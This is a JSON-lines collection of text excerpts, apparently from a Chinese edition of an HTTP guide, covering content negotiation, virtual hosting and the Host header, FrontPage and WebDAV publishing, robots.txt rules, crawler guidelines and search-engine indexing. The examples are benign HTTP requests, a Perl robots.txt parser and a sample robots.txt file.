    {"text": "表17-4 假设的转码 转换之前 转换之后 HTML 文档 WML 文档 高分辨率图像 低分辨率图像 彩色图像 黑白图像 有多个框架的复杂页面 没有很多框架或图像的简单文本页面 有 Java 小应用程序的 HTML 页面 没有 Java 小应用程序的 HTML 页面 有广告的页面 去除广告的页面 有 3 种类别的转码：格式转换、信息综合以及内容注入。"},
    {"text": "通 过慢速连接访问 Web 页面的客户端并不需要接收高分辨率图像，如果通过格式转换 降低图像分辨率和颜色来减小图像文件大小的话，这类客户端就能更容易地查看图 像比较丰富的页面了。"},
    {"text": "但是，这种方法不是很切合实际，原因很多：某个页面中的任何小改动都会 牵扯很多页面，需要很多空间来存储各页面的不同版本，而且使页面编目和 Web 服务器编程（以提供正确的版本）变得更加困难。"},
    {"text": "内容协商与转码 ｜ 423 GET / HTTP/1.1 Host: www.joes-hardware.com User-agent: wimpy wireless device Accept-language: fr;q=1.0 我有他想要的文档的法语版， 但我的副本中富含各种媒体， 而他用的却是低性能的无线 浏览器。"},
    {"text": "Web服务器 法语用户 Bonjour 转换器 缓存 我已经为这份文档做了 针对无线设备的转换， HTTP/1.1 200 OK 我要把转换后的副本作 Content-language: fr 为备用候选保存起来， Vary: User-agent 以备他人之需。"},
    {"text": "Bonjour [...simple text content] 图 17-3 在代理缓存中进行转换或转码 17.6 下一步计划 由于以下两个原因，内容协商这个话题不只限于 Accept 和 Content 这两个首部集。"},
    {"text": "424 ｜ 第 17 章 • http://www.ietf.org/rfc/rfc2616.txt RFC 2616，“Hypertext Transfer Protocol-HTTP/1.1”（“超文本传输协议 HTTP/1.1”）， 这是 HTTP 协议的当前版本，也是 HTTP/1.1 的官方规范。"},
    {"text": "406 • http://www.ietf.org/rfc/rfc2295.txt RFC 2295，“Transparent Content Negotiation in HTTP”（“HTTP 中的透明内容协 商”），这是一份备忘录，描述了建立在 HTTP 之上的透明内容协商协议。"},
    {"text": "• http://www.ietf.org/rfc/rfc2296.txt RFC 2296,“HTTP Remote Variant Selection Algorithm RVSA 1.0”（“HTTP 远程 变体选择算法 RVSA1.0”），这份备忘录描述了为特定的 HTTP 请求透明地选择 “最佳”内容的算法。"},
    {"text": "• http://www.ietf.org/rfc/rfc2936.txt RFC 2936,“HTTP MIME Type Handler Detection”（“HTTP MIME 类型处理器检 测”），这份备忘录描述了一种用来判定浏览器支持的 MIME 类型处理器的方法。"},
    {"text": "对内容资源的存储、协调以及管理的职责统称为 Web 主机托管。 主机托管是 Web 服务器的主要功能之一。 保存并提供内容，记录对内容的访问以及管理内容都离不 开服务器。 如果不想自行管理服务器所需的软硬件，就需要主机托管服务，即托管 者。 托管者出租服务和网站管理维护业务，并提供各种不同程度的安全级别、报告 及易用性。 托管者通常把很多网站放在一些强大的 Web 服务器上联合运行，这样可 以获得更高的成本效益、可靠性和性能。"},
    {"text": "本章讲解 Web 主机托管服务中的某些重要特征和它们如何与 HTTP 应用程序交互。 本章的主要内容包括： • 不同的网站如何被“虚拟地托管”在同一个服务器上，这样会对 HTTP 产生怎样 的影响；"},
    {"text": "18.1 主机托管服务 在万维网的早期，每个组织自行购买自己的计算机硬件，搭建自己的计算机房，申 请自己的网络连接，并管理自己的 Web 服务器软件。"},
    {"text": "Irene 网络服务提供 商那里有很多机架，机架上全是一样的高性能 Web 服务器，可以租给 Joe 和 Mary， 430 ｜ 第 18 章 这样，他俩就不用自行购买自己的服务器并管理服务器软件了。"},
    {"text": "在图 18-1 中，Joe 和 Mary 都签约使用 Irene 的网络服务提供商提供的专用 Web 托 管服务。 Joe 租了专用的 Web 服务器，该服务器是 Irene 网络服务提供商购买和维 护的。"},
    {"text": "Irene的网络服务提供商 www.joes-hardware.com 内容 www.cajun-gifts.com Joe 客户端 因特网 www.marys-antiques.com 内容 客户端 Mary www.irenes-isp.com 图 18-1 外包的专用托管服务 在这个例子中，浏览器向 Joe 服务器的 IP 地址发送对 www.joes-hardware.com 的 HTTP 请求，向 Mary 服务器（不同于 Joe）的 IP 地址发送对 www.marys-antiques. com 的请求。"},
    {"text": "从成本效益、空间以及管理方面考虑，提供虚拟主机托管的公司希望能在同一个 Web主机托管 ｜ 431 服务器上托管数十、上百，甚至上千个网站——但这不一定意味着上千个网站是 用一台 PC 机来提供服务的。"},
    {"text": "） 当 Joe 和 Mary 刚开始商务运作时，他们可能会选择虚拟主机托管，以节省费用， 直到他们网站的流量规模达到值得使用专用服务器的水平为止（参见图 18-2）。"},
    {"text": "内容 Irene的网络 服务提供商 Joe www.joes-hardware.com www.marys-antiques.com 内容 www.cajun-gifts.com Mary 客户端 因特网 客户端 www.irenes-isp.com 图 18-2 外包的虚拟主机托管 18.2.1 虚拟服务器请求缺乏主机信息 不幸的是，HTTP/1.0 中的一个设计缺陷会使虚拟主机托管者抓狂。"},
    {"text": "如果要访问 http:// www.joes-hardware.com/index.html， 浏 览 器 会 连 接 到 服 务 器 www.joes-hardware. com，但 HTTP/1.0 请求中只提到 GET /index.html，没有提到主机名。"},
    {"text": "• 如 果 客 户 端 A 试 图 访 问 http://www.joes-hardware.com/index.html， 请 求 GET / index.html 将被发送到共享的 Web 服务器。 • 如果客户端 B 试图访问 http://www.marys-antiques.com/index.html，同样的请求 GET /index.html 也将被发送到共享的 Web 服务器。 432 ｜ 第 18 章 (A想访问http://www.joes-hardware.com/index.html) www.voting-info.gov GET /index.html HTTP/1.0 www.joes-hardware.com User-agent: SuperBrowser v1.3 www.marys-antiques.com 客户端A 因特网 /voting /mary /joe 客户端B GET /index.html HTTP/1.0 HTTP/1.0请求没有包含主机名信息，因此 User-agent: WebSurfer 2000 不能支持托管了多个网站的Web服务器。"},
    {"text": "• 通过 URL 路径进行虚拟主机托管 在 URL 中增添专门的路径部分，以便服务器判断是哪个网站。 • 通过端口号进行主机托管 为每个站点分配不同的端口号，这样请求就由 Web 服务器的单独实例来处理。 Web主机托管 ｜ 433 • 通过 IP 地址进行主机托管 为不同的虚拟站点分配专门的 IP 地址，把这些地址都绑定到一台单独的机器上。"},
    {"text": "434 ｜ 第 18 章 比方说，托管者把 IP 地址 209.172.34.3 分配给 www.joes-hardware.com，把 IP 地址 209.172.34.4 分配给 www.marys-antiques.com，把这两个 IP 地址都绑定到同一个物 理服务器上。"},
    {"text": "• 在 Web 服务器提供响应之前，它注意到实际的目的 IP 地址（209.172.34.3），判 断出这是 Joe 的五金网站的虚拟 IP 地址，就根据子目录 /joe 来完成请求。"},
    {"text": "目的IP地址 目录 www.voting-info.gov= 209.172.34.2 209.172.34.2 /voting www.joes-hardware.com= 209.172.34.3 209.172.34.3 /joe www.marys-antiques.c om= 209.172.34.4 209.172.34.4 /mar y 209.172.34.3 客户端A 因特网 /voting /mary /joe 209.172.34.4 客户端B 图 18-4 虚拟 IP 的主机托管 类似地，如果客户端 B 请求 http://www.marys-antiques.com/index.html。"},
    {"text": "Web主机托管 ｜ 435 • 托管者通过复制服务器来增加容量时，IP 地址短缺的问题就更严重了。 随负载均 衡体系的不同，可能会要求每个复制的服务器上有不同的虚拟 IP 地址，因此 IP 地址的需求量可能会随复制服务器的数量而倍增。"},
    {"text": "(A获取 http://www.joes-hardware.com/index.html) GET /index.html HTTP/1.1 www.voting-info.gov User-agent: SuperBrowser v1.3 www.joes-hardware.com Host: www.joes-hardware.com www.marys-antiques.com 客户端A 因特网 /voting /mary/ joe 客户端B GET /index.html HTTP/1.1 User-agent: WebSurfer 2000 HTTP的Host首部携带了在通常的请求中丢失的 Host: marys-antiques.com 主机名信息，允许通过主机名进行虚拟主机托管。"},
    {"text": "(B获取http://www.marys-antiques.com/index.html) 417 图 18-5 用 Host 首部区分请求的虚拟主机 Host 首部最早是在 HTTP/1.0+ 中引入的，它是开发商实现的 HTTP/1.0 的扩展超 集。"},
    {"text": "1. 语法与用法 Host 首部描述了所请求的资源所在的因特网主机和端口号，和原始的 URL 中得到 的一样： Host = \"Host\" \":\" host [ \":\" port ] 但要注意以下问题。"},
    {"text": "• 如果 URL 中包含 IP 地址，Host 首部就应当包含同样的地址。 • 如果 URL 中包含主机名，Host 首部就必须包含同样的名字。 • 如果 URL 中包含主机名，Host 首部就不应当包含 URL 中这个主机名对应的 IP 地址，因为这样会扰乱虚拟主机托管服务器的工作，它在同一个 IP 地址上堆叠 了很多虚拟站点。 • 如果 URL 中包含主机名，Host 首部就不应当包含这个主机名的其他别名，因为 这样也会扰乱虚拟主机托管服务器的工作。 • 如果客户端显式地使用代理服务器，客户端就必须把原始服务器，而不是代理服 务器的名字和端口放在 Host 首部中。 以往，若干个 Web 客户端在启用客户端代 理设置时，错误地把发出的 Host 首部设置成代理的主机名。"},
    {"text": "下面是一段简单的 HTTP 请求报文，用于获取 www.joes-hardware.com 的主页，其 中带有必需的 Host 首部字段： 418 GET http://www.joes-hardware.com/index.html HTTP/1.0 Connection: Keep-Alive User-Agent: Mozilla/4.51 [en] (X11; U; IRIX 6.2 IP22) Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/ png, */* Accept-Encoding: gzip Accept-Language: en Host: www.joes-hardware.com Web主机托管 ｜ 437 2. 缺失 Host 首部 有少量在用的老式浏览器不会发送 Host 首部。"},
    {"text": "如果某个虚拟主机托管服务器使用 Host 首部来判断所服务的是哪个网站，而报文中没有出现 Host 首部的话，那它可 能会把用户导向某个默认的 Web 页面（例如网络服务提供商的 Web 页面），也可能 返回一个错误页面建议用户升级浏览器。 3. 解释 Host 首部 对于没有进行虚拟主机托管，而且不允许资源随请求主机的不同而变化的原始服务 器来说，可以忽略 Host 首部字段的值。"},
    {"text": "（1） 如果 HTTP 请求报文中的 URL 是绝对的（也就是说，包含方案和主机部分）， 就忽略 Host 首部的值。 （2） 如果 HTTP 请求报文中的 URL 没有主机部分，而该请求带有 Host 首部，则主 机 / 端口的值就从 Host 首部中取。"},
    {"text": "4. Host 首部与代理 某些版本的浏览器发送的 Host 首部不正确，尤其是配置使用代理的时候。 例如， 配置使用代理时，一些老版本的 Apple 和 PointCast 客户端会错误地把代理的名字， 而不是原始服务器的名字放在 Host 首部里发送。"},
    {"text": "客户端 客户端 复制原始服务器 客户端 因特网 交换机 客户端 主原始服务器 客户端 复制原始服务器 图 18-6 镜像的服务器集群 镜像 Web 服务器可以在不同的地点包含同样内容的副本。"},
    {"text": "图 18-7 展示了 4 个镜像 服务器，其中主服务器在芝加哥，复制服务器在纽约、迈阿密和小石城。 主服务器 为芝加哥地区的客户端服务，并肩负把内容传播给复制服务器的任务。 芝加哥（总部） 纽约 主原始服务器 复制原始服务器 因特网 小石城 迈阿密 复制原始服务器 复制原始服务器 图 18-7 分散的镜像服务器 Web主机托管 ｜ 439 在图 18-7 的场景中，有以下两种方法把客户端的请求导向特定的服务器。"},
    {"text": "• HTTP 重定向 420 该内容的 URL 会解析到主服务器的 IP 地址，然后它会发送重定向到复制服务器。 • DNS 重定向 该内容的 URL 会解析到 4 个 IP 地址，DNS 服务器可以选择发送给客户端的 IP 地址。"},
    {"text": "（根据内容所在的 IP 地址的广告方式，这是 有可能的，原始服务器和反向代理缓存之间通常有协作关系，到特定的原始服务器 的请求就由反向代理缓存来接收。"},
    {"text": "440 ｜ 第 18 章 按需驱动的代理缓存可以部署在其他环境中——尤其是拦截环境，在这种情况下，2 层 或 3 层设备（交换机或路由器）会拦截 Web 流量并将其发送给代理缓存（参见图 18-8）。 代理缓存 客户端 客户端 因特网和大量 的原始服务器 交换机 客户端 客户端 图 18-8 客户端的请求被交换机拦截并发给代理缓存 拦截环境依赖于在客户端和服务器之间设置网络的能力，这样，所有合适的 HTTP 请求才能真正发送到缓存中去。"},
    {"text": "• http://www.ietf.org/rfc/rfc3040.txt RFC 3040，“Internet Web Replication and Caching Taxonomy”（“因特网 Web 复 制和缓存分类法”），这份文档是关于 Web 复制与缓存应用术语的参考文献。"},
    {"text": "Web主机托管 ｜ 441 • http://search.ietf.org/internet-drafts/draft-ietf-cdi-request-routing-reqs-00.txt “Request-Routing Requirements for Content Internetworking”（“内容网际互连的 请求路由需求”）。"},
    {"text": "如今的发布工具使得创建、发布以及管理 Web 内容方便了许多。 今天，用户可以交 互式地编辑 Web 内容，在屏幕上看到它实际呈现的样子，轻轻点击一下就可以把内 容发布到服务器，还能得到所有文件变化的通知。"},
    {"text": "FrontPage 的 原始创意（FrontPage 1.0）是由维美尔（Vermeer）技术公司在 1994 年构思的，它 是首个把网站管理和创建整合进一个统一工具的产品。"},
    {"text": "19.1.1 FrontPage服务器扩展 作 为“ 随 处 发 布 ” 战 略 的 一 部 分， 微 软 公 司 发 布 了 一 系 列 服 务 器 端 软 件， 称 为 “FrontPage 服务器扩展”，（FPSE）。"},
    {"text": "这些服务器端组件和 Web 服务器集成在一起， 424 在网站和运行 FrontPage 的客户端（以及其他支持这些扩展的客户端）之间提供了 必要的转接工作。"},
    {"text": "FrontPage 的 发 布 协 议 在 HTTP 的 POST 请 求 之 上 实 现 了 一 个 RPC（Remote Procedure Call，远程过程调用）层。 它允许 FrontPage 客户端向服务器发送命令来 更新网站上的文档、进行搜索以及在多个 Web 作者之间进行协作，等等。"},
    {"text": "444 ｜ 第 19 章 HTTP请求报文 包含命令与URL www.joes-hardware.com HTTP 因特网 HTTP FrontPage客户端 FrontPage, MS Word, Excel, CGI ISAPI 等等 FrontPage服务 器扩展(FPSE) 图 19-1 FrontPage 发布系统体系结构 19.1.2 FrontPage术语表 在我们深入研究 FPSE 定义的 RPC 层之前，先来了解一下其常用术语。"},
    {"text": "• 虚拟服务器 在同一服务器上运行的多个网站之一，每个都有唯一的域名和 IP 地址。 本质上 说，虚拟服务器允许在单一的 Web 服务器上托管多个网站，在浏览器看来每个 网站都像是由它自己专门的 Web 服务器托管的一样。 支持虚拟服务器的 Web 服 务器称为多路托管（multi-hosting）Web 服务器。 配置有多个 IP 地址的机器称为 多宿主（multi-homed）服务器（参阅 18.2 节以获取更多信息）。"},
    {"text": "HTTP请求报文 包含命令和URL GET /_vti_inf.html HTTP/1.1 Date: Sat, 12 Aug 2000 20:31:24 GMT User-agent: Mozilla/2.0 (compatible;MS FrontPage 4.0) Host: taskserver:80 Accept: auth/sicily www.joes-hardware.com Content-length: 0 因特网 FrontPage 客户端 CGI ISAPI FrontPage服务 器扩展(FPSE) 图 19-2 初始请求 得到返回的文件之后，FrontPage 客户端读取响应，寻找与 FPShtmlScriptUrl、 FPAuthorScriptUrl 以及 FPAdminScriptUrl 相关的值。 通常，这些值看起来是 这样的： FPShtmlScriptUrl=\"_vti_bin/_vti_rpc/shtml.dll\" FPAuthorScriptUrl=\"_vti_bin/_vti_aut/author.dll\" FPAdminScriptUrl=\"_vti_bin/_vti_adm/admin.dll\" FPShtmlScriptUrl 告诉客户端要执行“浏览时”命令（例如，获取 FPSE 的版本 号）时应向哪里 POST 请求。"},
    {"text": "FPAuthorScriptUrl 告诉客户端要执行“写作时”命令时应向哪里 POST 请求。 426 类似地，FPAdminScriptUrl 告诉 FrontPage 向哪里发送管理操作的 POST 请求。"},
    {"text": "1. 请求 POST 请求的主体包含 RPC 命令，形式是 method=<command> 及任何需要的参数。 例如，请求文档列表的 RPC 报文如下： POST /_vti_bin/_vti_aut/author.dll HTTP/1.1 Date: Sat, 12 Aug 2000 20:32:54 GMT 446 ｜ 第 19 章 User-Agent: MSFrontPage/4.0 .......................................... <BODY> method=list+documents%3a4%2e0%2e2%2e3717&service%5fname=&listHiddenDoc s=false&listExplorerDocs=false&listRecurse=false&listFiles=true&listFo lders=true&listLinkInfo=true&listIncludeParent=true&listDerived=false &listBorders=false&listChildWebs=true&initialUrl=&folderList=%5b%3bTW% 7c12+Aug+2000+20%3a33%3a04+%2d0000%5d POST 方法的主体中含有发送给 FPSE 的 RPC 命令。"},
    {"text": "根据这种记号方式，更容易辨识的主体版本如下所示： method=list+documents:4.0.1.3717 &service_name= &listHiddenDocs=false &listExplorerDocs=false ..... 其中某些元素的含义如下所述。"},
    {"text": "示 例响应如下： HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Sat, 12 Aug 2000 22:49:50 GMT Content-type: application/x-vermeer-rpc 发布系统 ｜ 447 X-FrontPage-User-Name: IUSER_MINSTAR <html><head><title>RPC packet</title></head> <body> <p>method=list documents: 4.0.2.3717 <p>document_list= <ul> <li>document_name=help.gif <\\ul> 可以从响应中看到，Web 服务器上可用文档的列表返回给了 FrontPage 客户端。"},
    {"text": "习惯上会把 XML 文档里引用的方案定义保存在一个 DTD（Document Type Definition， 文档类型定义）文件中。 因此，试图解释 XML 文档时，可以根据其中的 DOCTYPE 定义项得到和这份 XML 文档相关的 DTD 文件名。"},
    {"text": "DAV = \"DAV\" \":\" \"1\" [\",\" \"2\"] [\",\" 1#extend] • Depth 这是一个关键元素，用于把 WebDAV 扩展到支持含有多级层次关系的资源组。"},
    {"text": "如 果 某 方 法 设 置 了 Depth:0， 此 方 法 就 只 作 用 到 目 录 DIR_A 自 身； 如果设置了 Depth:1，就作用到目录 DIR_A 及其包含的文件 file_1.html 和 file_2.html。"},
    {"text": "If =\"If\"\":\" (1*No-tag-list | 1*Tagged-list) No-tag-list = List Tagged-list = Resource 1*List Resource = Coded-URL List = \"(\" 1*([\"Not\"](State-token | \"[\" entity-tag \"]\")) \")\" State-token = Coded-URL Coded-URL = \"<\" absoluteURI \">\" • Lock-Token UNLOCK 方 法 需 要 用 这 个 首 部 指 定 要 删 除 的 锁。"},
    {"text": "TimeOut = \"Timeout\" \":\" 1#TimeType TimeType = (\"Second-\" DAVTimeOutVal | \"Infinite\" | Other) DAVTimeOutVal = 1*digit Other = \"Extend\" field-value 我们已经概述了 WebDAV 的意图及其实现，下面来仔细看看它提供的各种功能。"},
    {"text": "9.4.5 缓存和robots.txt的过期 如果一个机器人在每次访问文件之前都要重新获取 robots.txt 文件，Web 服务器上 的负载就会加倍，机器人的效率也会降低。 机器人使用的替代方法是，它会周期性 地获取 robots.txt 文件，并将得到的文件缓存起来。 机器人会使用这个 robots.txt 文 234 件的缓存副本，直到其过期为止。 原始服务器和机器人都会使用标准的 HTTP 缓存 控制机制来控制 robots.txt 文件的缓存。"},
    {"text": "不了解 robots.txt 文件的 Web 服务器管理员通常会在响应机器 人的访问时创建一个新的文件，但如果将缺乏信息的 robots.txt 文件缓存一周，新创 建的 robots.txt 文件就没什么效果了，站点管理员会责怪机器人管理员没有遵守拒绝 机器人访问标准。"},
    {"text": "246 ｜ 第 9 章 将已解析的 robots.txt 文件保存在 WWW::RobotRules 对象中，这个对象提供了一些 方法，可以用于查看是否禁止对某指定 URL 进行访问。 同一个 WWW::RobotRules 可以用于解析多个 robots.txt 文件。"},
    {"text": "• 创建 RobotRules 对象 $rules = WWW::RobotRules->new($robot_name); • 装载 robots.txt 文件 $rules->parse($url, $content, $fresh_until); • 查看站点 URL 是否可获取 $can_fetch = $rules->allowed($url); 下面这个短小的 Perl 程序说明了 WWW::RobotRules 的用法： require WWW::RobotRules; # Create the RobotRules object, naming the robot \"SuperRobot\" my $robotsrules = new WWW::RobotRules 'SuperRobot/1.0'; use LWP::Simple qw(get); # Get and parse the robots.txt file for Joe's Hardware, accumulating # the rules $url = \"http://www.joes-hardware.com/robots.txt\"; my $robots_txt = get $url; $robotsrules->parse($url, $robots_txt); 235 # Get and parse the robots.txt file for Mary's Antiques, accumulating # the rules $url = \"http://www.mary's antiques.com/robots.txt\"; my $robots_txt = get $url; $robotsrules->parse($url, $robots_txt); # Now RobotRules contains the set of robot exclusion rules for several # different sites. It keeps them all separate. Now we can use RobotRules # to test if a robot is allowed to access various URLs. if ($robotsrules->allowed($some_target_url)) { $c = get $url; ... } 下面是 www.marys-antiques.com 的假想 robots.txt 文件： ##################################################################### # This is the robots.txt file for Mary's Antiques web site ##################################################################### Web机器人 ｜ 247 # Keep Suzy's robot out of all the dynamic URLs because it doesn't # understand them, and out of all the private data, except for the # small section Mary has reserved on the site for Suzy. User-Agent: Suzy-Spider Disallow: /dynamic Allow: /private/suzy-stuff Disallow: /private # The Furniture-Finder robot was specially designed to understand # Mary's antique store's furniture inventory program, so let it # crawl that resource, but keep it out of all the other dynamic # resources and out of all the private data. User-Agent: Furniture-Finder Allow: /dynamic/check-inventory Disallow: /dynamic Disallow: /private # Keep everyone else out of the dynamic gateways and private data. User-Agent: * Disallow: /dynamic Disallow: /private 这个 robots.txt 文件中包含了一条机器人 SuzySpider 的记录，一条机器人 FurnitureFinder 的记录，以及一条用于所有其他机器人的默认记录。"},
    {"text": "表9-4 Mary古董网站的机器人访问权限 URL SuzySpider FurnitureFinder NosyBot http://www.marys-antiques.com/ √ √ √ http://www.marys-antiques.com/index.html √ √ √ 248 ｜ 第 9 章 （续） URL SuzySpider FurnitureFinder NosyBot http://www.marys-antiques.com/private/payroll.xls × × × http://www.marys-antiques.com/private/suzy-stuff/ √ × × taxes.txt http://www.marys-antiques.com/dynamic/buy- × × × stuff?id=3546 http://www.marys-antiques.com/dynamic/check- × √ × inventory?kitchen 9.4.7 HTML的 robot-control 元标签 robots.txt 文件允许站点管理员将机器人排除在 Web 站点的部分或全部内容之外。"},
    {"text": "机器人排斥标签是以如下形式，通过 HTML 的 META 标签来实现的： <META NAME=\"ROBOTS\" CONTENT=directive-list> 1. 机器人的META指令 机器人 META 指令有几种不同的类型，而且随着时间的推移，以及搜索引擎及机器 人对其行为和特性集的扩展，很可能还会添加一些新的指令。"},
    {"text": "• NOINDEX 237 告诉机器人不要对页面的内容进行处理，忽略文档（也就是说，不要在任何索引 或数据库中包含此内容）。 <META NAME=\"ROBOTS\" CONTENT=\"NOINDEX\"> Web机器人 ｜ 249 • NOFOLLOW 告诉机器人不要爬行这个页面的任何外连链接。 <META NAME=\"ROBOTS\" CONTENT=\"NOFOLLOW\"> 除 了 NOINDEX 和 NOFOLLOW 之 外， 还 有 相 对 应 的 INDEX 指 令、FOLLOW 指 令、 NOARCHIVE 指令以及 ALL 和 NONE 指令。"},
    {"text": "与所有 HTML 的 META 标签类似，机器人 META 标签必须出现在 HTML 页面的 HEAD 区域中： <html> <head> <meta name=\"robots\" content=\"noindex,nofollow\"> <title>...</title> </head> <body> ... </body> </html> 注意，标签的名称 robots 和内容都是大小写无关的。 很显然，不能发出一些会产生冲突或重复的指令，比如： <meta name=\"robots\" content=\"INDEX,NOINDEX,NOFOLLOW,FOLLOW,FOLLOW\"> 注 24： 那些运行 Google 搜索引擎的人引入这个 META 标签，是为了向网管提供一种不允许 Google 提供其 内容缓存页面的手段。"},
    {"text": "很多搜索引擎都 会查看 META DESCRIPTION 标签，允许页面作者指定一些短小 的摘要来描述其 Web 页面 <meta name=\"description\" content=\"Welcome to Mary's Antiques Web site\"> KEYWORDS < 逗号列表 > 关联一个由逗号分隔的 Web 页面描述词列表，为关键字搜索提供 帮助 <meta name=\"keywords\" content=\"antiques,mary,fu rniture,restoration\"> REVISIT-AFTER25 < 天数 > 告诉机器人或搜索引擎应该在指定天数之后重访页面，估计那时 候页面可能会发生变化 <meta name=\"revisit-after\" content=\"10 days\"> 9.5 机器人的规范 1993 年，Web 机器人社会的先驱 Martijn Koster 为 Web 机器人的编写者们编写了 一个指南列表。"},
    {"text": "有些机器人还会在 User-Agent 首部包含一个描述机器人目的和策略的 URL 识别你的机器 确保机器人是从一台带有 DNS 条目的机器上运行的，这样 Web 站点才能 够将机器人的 IP 地址反向 DNS 为主机名。"},
    {"text": "这有助于管理者识别出对机器 人负责的组织 239 识别联络人 用 HTTP 的 From 字段提供一个联络的 E-mail 地址 (2) 操作 保持警惕 机器人可能会惹一些麻烦或引发一些抱怨。"},
    {"text": "你的组织可能 要观测网络带宽的耗费，作好应对各种公共查询的准备 监视并记录日志 机器人应该装备有丰富的诊断和日志记录工具，这样才能记录进展、识别 所有的机器人陷阱，进行完整性检查看看工作是否正常。"},
    {"text": "不管是为了调试出 错的 Web 爬虫，还是为了在不合理的投诉面前为其行为进行辩护，监视 和记录工作都是非常重要的 学习并适应 在每次爬行中你都会学到新的东西。"},
    {"text": "要让机器人逐步适应，这样，它在每 次爬行之后都会有所进步，并能避开一些常见的陷阱 (3) 约束自己的行为 对 URL 进行过滤 如果一个 URL 指向的好像是你不理解或不感兴趣的数据，你可能会希望 跳过它。"},
    {"text": "比如，以 .Z、.gz、.tar 或者 .zip 结尾的 URL 很可能是压缩文件 或归档文件。 以 .exe 结尾的 URL 可能就是程序。 以 .gif、.tif、.jpg 结尾 的 URL 很可能是图片。"},
    {"text": "如果一个 URL 中包含了 cgi，或者有一个“?”，机器人 可能就不会去爬行这个 URL 了 对 Accept 首部进行过滤 机器人应该用 HTTP 的 Accept 首部来告诉服务器它能够理解哪种内容 遵循 robots.txt 机器人应该接受站点上 robots.txt 的控制 252 ｜ 第 9 章 （续） 操作指南 描 述 制约自己 机器人应该记录访问每个站点的次数以及访问的时间，并通过这些信息来 确保它没有太频繁地访问某个站点。"},
    {"text": "机器人访问站点的频率高于几分钟一 次时，管理员就要起疑心了。 机器人每隔几秒钟就访问一次站点时，有些 管理员就会生气了。 机器人尽可能频繁地去访问一个站点，将所有其他流 量都拒之门外时，管理员就会暴怒起来。"},
    {"text": "还应该限制对站点的访问总次数，以防止环路的 出现 (4) 容忍存在环路、重复和其他问题 处理所有返回代码 必须做好处理所有 HTTP 状态码的准备，包括各种重定向和错误码。"},
    {"text": "可能是很多 URL 过期了，或者服务器拒绝向机器人提 供这些文档 规范 URL 试着将所有 URL 都转化为标准形式来消除常见的别名 积极地避免环路的出现 努力地检测并避免环路的出现。"},
    {"text": "这种情况可能就 是陷阱 维护一个黑名单 找到陷阱、环路、故障站点和不希望机器人访问的站点时，要将其加入一 个黑名单，不要再次访问这些站点 (5) 可扩展性 了解所需空间 事先通过数学计算明确你要解决的问题规模有多大。"},
    {"text": "你可能会对应用程序 完成一项机器人任务所需的内存规模感到非常吃惊，这是由 Web 庞大的 规模造成的 了解所需带宽 了解你有多少网络带宽可用，以及在要求的时间内完成机器人任务所需的 带宽大小。"},
    {"text": "通过对网络使用情况的监视，可能还 会找到一些方法来更好地优化你的机器人，通过更好地使用其 TCP 连接 更好地利用网络带宽 26 了解所需的时间 了解机器人完成其任务所需花费的时间，检查这个进度是否与自己的估计 相符。 如果机器人的耗费与自己的估计相去甚远，可能就会有问题，需要 进行调查 注 26： 更多有关 TCP 性能优化的内容请参见第 4 章。"},
    {"text": "Web机器人 ｜ 253 （续） 操作指南 描 述 分而治之 对大规模的爬行来说，很可能需要使用更多的硬件来完成这项工作，可以 使用带有多个网卡的大型多处理器服务器，也可以使用多台较小的计算机 共同配合工作 (6) 可靠性 彻底测试 在将机器人放出去之前，要对其进行彻底的内部测试。"},
    {"text": "收集大量结果并对性能和内存使用情 况进行分析，估计一下它们会怎样累积成较大问题 检查点 所有严谨的机器人都要保存其进展的快照，出现故障时可以从那里重新开 始。"},
    {"text": "一开始就要设计检查点 / 重启机制 故障恢复 预测故障的发生，对机器人进行设计，使其能够在发生故障时继续工作 (7) 公共关系 做好准备 机器人可能会让很多人感到困惑。"},
    {"text": "制定一 个 Web 页面政策声明，对机器人进行描述，其中包括创建 robots.txt 文件 的详细指南 充分理解 有些与你联系，讨论机器人问题的人是了解情况并赞成的，有些人则很幼 稚。"},
    {"text": "向他们解释拒绝机器人访问标准， 如果他们仍然很不高兴，就立即将投诉者的 URL 从爬行列表中删除，并 将其加入黑名单 积极响应 大多数不满意的网管都只是不太了解机器人。"},
    {"text": "另一方面，如果你等好几天才响应， 241 而机器人在继续访问这个站点，你面对的就将是一个非常愤怒的对手 9.6 搜索引擎 得到最广泛使用的 Web 机器人都是因特网搜索引擎。"},
    {"text": "Web 爬虫为因特网搜索引擎提供信息，它们获取 Web 上的文档，并允许搜索引擎 创建与本书后面的索引类似的索引，用以说明哪些文档中有哪些词存在。"},
    {"text": "面对数十亿的 Web 页面，和数百万要查找信息的用户，搜索引擎要用复杂的爬虫 来获取这数十亿 Web 页面，还要使用复杂的查询引擎来处理数百万用户产生的查 询负荷。 我们来考虑一下产品级 Web 爬虫的任务，它要获取搜索索引所需的页面，它要发出 数十亿条 HTTP 请求。"},
    {"text": "如果每条请求都要花半秒钟的时间（对有些服务器来说可能 慢了，对另一些服务器来说可能快了 27），（对十亿份文件来说）就要花费： 0.5 秒 ×（100 0000 000）/（60 秒 / 天）×（60 分 / 小时）×（24 小时 / 天） 如果请求是连续发出的，结果差不多是 5700 天！"},
    {"text": "9.6.2 现代搜索引擎结构 现在的搜索引擎都构建了一些名为“全文索引”的复杂本地数据库，装载了全世界 的 Web 页面，以及这些页面所包含的内容。"},
    {"text": "Web机器人 ｜ 255 用户 Web服务器 用户 Web搜索网关 全文索引数据库 搜索引擎爬虫/索引器 Web服务器 用户 用户 Web服务器 Web搜索用户 查询索引 爬行及索引 图 9-7 产品级搜索引擎中包含了一些协作的爬虫和查询网关 图 9-8 显示了三份文档和相应的全文索引。"},
    {"text": "单词 文档 a A B best A C A buy A drill A B We have the best electric A tools,like the WorkMaster 5000 fat C electric drill. Buy a fire B drill from us today! from A B have A into B The routine fire know C drill turned into lose C a tragedy today... routine B C the A B C C to C today A B We know the tools A best routine tragedy B turned to lose fat. B us A we A C workmaster A 图 9-8 三份文档和一个全文索引 比如： • 单词“a”位于文档 A 和 B 中；"},
    {"text": "243 9.6.4 发布查询请求 用户向 Web 搜索引擎网关发布一条请求时，会填写一个 HTML 表单，他的浏览器 会用一个 HTTP GET 或 POST 请求将这个表单发送给网关。"},
    {"text": "29Joe 的五金商店的 Web 服务器收到这条请求，并将其转发给其搜索 网关应用程序，这个程序会将文档的结果列表返回给 Web 服务器，然后 Web 服务 器又会将这些结果转换成 HTML 页面提供给用户。"},
